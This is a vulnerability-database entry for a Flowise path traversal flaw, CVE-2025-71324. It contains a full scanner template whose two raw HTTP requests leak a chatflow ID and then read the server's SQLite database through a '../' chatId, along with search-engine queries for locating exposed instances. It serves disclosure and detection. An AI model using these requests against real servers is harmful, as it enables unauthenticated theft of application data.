CVE-2025-71324: Flowise - Path Traversal

2026-08-16 Flowise PoC Public

Description

Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.

PoC

id: CVE-2025-71324

info:
  name: Flowise - Path Traversal
  author: theamanrawat,pdteam
  severity: high
  description: |
    Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.
  impact: |
    Unauthenticated attackers can read sensitive files, exposing database content and potentially compromising system confidentiality.
  remediation: |
    Update to version 3.0.6 or later.
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71324
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-71324
    epss-score: 0.0157
    epss-percentile: 0.7411
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 2
    vendor: FlowiseAI
    product: Flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2025,flowise,lfi,path-traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v1/vector/upsert/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="files"; filename="?"
        Content-Type: text/plain

        test
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: word
        part: body
        words:
          - "EISDIR"
          - ".flowise/storage"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: chatflowId
        part: body
        internal: true
        group: 1
        regex:
          - 'storage/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})'

  - raw:
      - |
        GET /api/v1/get-upload-file?chatflowId={{chatflowId}}&chatId=/../../&fileName=database.sqlite HTTP/1.1
        Host: {{Hostname}}
        x-request-from: internal

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQLite format 3"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203eac00232c0b01c7d65bb8e903136f050cae749dc5c790a8aa091963b5fcbd70022100b1609dbff7d22a55600d33abcaafb7fb87387adab344c069c703f71f85dcdcc5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities